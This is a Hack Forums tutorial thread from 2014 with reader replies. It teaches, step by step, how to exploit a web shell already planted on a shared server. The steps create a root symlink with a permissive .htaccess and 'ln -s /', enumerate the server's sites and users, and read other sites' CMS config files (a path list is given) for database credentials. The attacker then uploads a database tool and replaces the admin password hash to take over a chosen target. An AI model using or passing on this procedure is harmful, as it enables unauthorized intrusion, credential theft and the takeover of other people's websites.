[TUTORIAL:]>_HOW TO "MANUALLY" SYMLINK_[/Step-by-Step & n00b Friendly]

[TUTORIAL:]>_HOW TO "MANUALLY" SYMLINK_[/Step-by-Step & n00b Friendly] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUTORIAL:]>_HOW TO "MANUALLY" SYMLINK_[/Step-by-Step & n00b Friendly] (/showthread.php?tid=4073561)

Pages: Pages 1 2 3

[TUTORIAL:]>_HOW TO "MANUALLY" SYMLINK_[/Step-by-Step & n00b Friendly] - ｍＯｂｉＩｅ - Feb 20, 2014

Shelled Server
Readable /ect/named.conf

Sup bitches!? ..If you're reading this, your probably wondering how we manually symlink w/out using an automated script. Well today I'm going to show you how It's done. 🎉

Tutorial:

Creating a ROOT Symlink:
1.) After you Upload your Shell, open it and go to the Root Folder of the Website (i.e Public_html) and make a dir called "tmp"
[Image: ds5ti9b.jpg]

2.) Open your tmp directory and then create a file called ".htaccess" in the /tmp/ directory, and cut-n-paste this code in it and click "Save"

PHP Code 


<?php 
Options all 
DirectoryIndex Sux.html 
AddType text/plain .php 
AddHandler server-parsed .php 
AddType text/plain .html 
AddHandler txt .html 
Require None 
Satisfy Any 

3.)Next, Execute this command in your shell to create a root symlink in tmp Directory

PHP Code 


<?php 
ln -s / mobile 

(you can name your root to whatever you want, I chose /mobile/)
[Image: Bl20hMr.jpg]

This will Create a link called /mobile/ in tmp Directory.
[Image: CsfTxA1.jpg]

2.) Now open the directory "tmp" from Your browser in new tab, like:

Quote:www.site.com/tmp

..it should look like this;
[Image: RaqRo7J.jpg]

5.) If You see this, that means you have Created a Root Symlink, Congrats , Server has been Symlinked Successfully. 🎉
[Image: 9EUc3b9.jpg]

Getting all the websites from the server:

1.) Ok you've created a root symlink, now its time to get all the websites from the server.

From your browser open a new tab and enter this link.

Quote:www.site.com/tmp/mcs/var/named

2.) This will give you all the sites on the Server.
[Image: k3Z9Z5R.jpg]

Getting all the Users from the Server:

1.) From your browser open a new tab and enter this link.

Quote:www.site.com/tmp/mcs/var/mail/

2.) This will give you all the Users from the server.
[Image: Ug6CRie.jpg]

Finding the User on a targeted Website:

1.) Now that you have all the sites and users on the server, Now Select a target that you wanna take down and find the user of the target ..Example: if my target is "www.besearched.biz" so the user will be something like "besearch" or "besearch3" or something similar.
[Image: 1UUIl1U.jpg]

2.) And an easy way to find the username is to press control+f in your browser and type the site name slowly besearched.com and It should highlight the user.
[Image: 7hOyoqa.jpg]

Dumping and Reading the Database configs:

2.) Open this Link in your Browser:

Quote:www.site.com/tmp/mobile/home/[user]/public_html/

[user] is the user of the targeted website.

EXAMPLE:
[Image: tQ5jgtE.jpg]

3.) Next start looking for the Config file, mine is wp-config.php Just Click on it and You will get Database Login info.
[Image: 6GQLQlo.jpg]

Location of Most Famous CMS config Files:

Quote:vBulletin -- /includes/config.php
IPB -- /conf_global.php
MyBB -- /inc/config.php
Phpbb -- /config.php
Php Nuke -- /config.php
Php-Fusion -- config.php
SMF -- /Settings.php
Joomla -- configuration.php , configuration.php-dist
WordPress -- /wp-config.php
Drupal -- /sites/default/settings.php
Oscommerce -- /includes/configure.php
e107 -- /e107_config.php
Seditio -- /datas/config.php

Login into Database:

1.) Now Upload a Database Management .php Script. (i.e dbkiss.php) in root folder (i.e Public_html)

DBkiss.php

Quote:http://pastebin.com/cYNQ35KR

2.) Open dbkiss.php in your Browser.

Quote:www.site.com/dbkiss.php

Change admin Password From Database:

1.) Login with the Username and password you got from the Config file.

2.) Check for users in the database and click on it ..there you will get a website Username and password . we just have to edit user_pass column and save it.
[Image: Qu6W51r.jpg]

3.) Go to a MD5 Generator:

Quote:http://www.md5hashgenerator.com

Hash you a password with anything you want in MD5, then click on edit , Clear the user_pass column and paste your MD5 hash there, again click on edit and save it..finally your done.

4.) Now go to the Website admin panel, and login with the new password You just created.

Owned! 🎉

Congratulations! You just MANUALLY symlinked. 🤝

* - Avocado - Feb 20, 2014

I like this tutorial, very well explained. Thanks.

* - ktmercedes - Feb 20, 2014

very nice tutorial. easy to understand and use symlink. thanks alot

* - xx 0x0 xx - Feb 21, 2014

this is a great HQ tutorial like always brother keep it up

* - I am a Dox3r - Feb 21, 2014

wow I don't even understand this cos im such a doxing skid

* - macnux - Feb 21, 2014

i make symlinking but when i navigate to home folder it gives me permission denied then i close the browser and open it again
the folder contains the symlink gives me internal server error

any idea about what happened with me?
thanks in advance.

* - Th3PonyWizard - Feb 21, 2014

When will you move on? We've all progressed. Don't you think it's time?

* - supermanozos - Feb 22, 2014

@m0bi13_xT
awesome. Thanks for great tutorial.

* - joshmI - Feb 22, 2014

This tutorial is amazing! thanks for it man! :)

* - blackhiden - Mar 2, 2014

Good bro.
I'm bookmarking this thread.

* - Saklitunov - Mar 3, 2014

@m0bi13_xT
awesome. Thanks for great tutorial.

* - Mâgñìƒìçêñ† - May 11, 2014

(Mar 2, 2014 12:54 PM)m0bi13_xT Wrote: it took a minute to write this, so thanks for your feedback. 🤝

Hello sir.. what can i do to fix these error

PHP Code 


<?php 
ob_start(): failed to create buffer
In dbkiss.php on line 16. 

* - anil_ak - Nov 19, 2014

failed to create mobile link inside root...how to create create? plz help me out?

* - jacknax - Nov 19, 2014

Thanks Man. Keep Posting & Keep Shearing..... :D :D :D

* - mahmudul006 - Jan 15, 2015

Thanks bro ..
for clear concept :)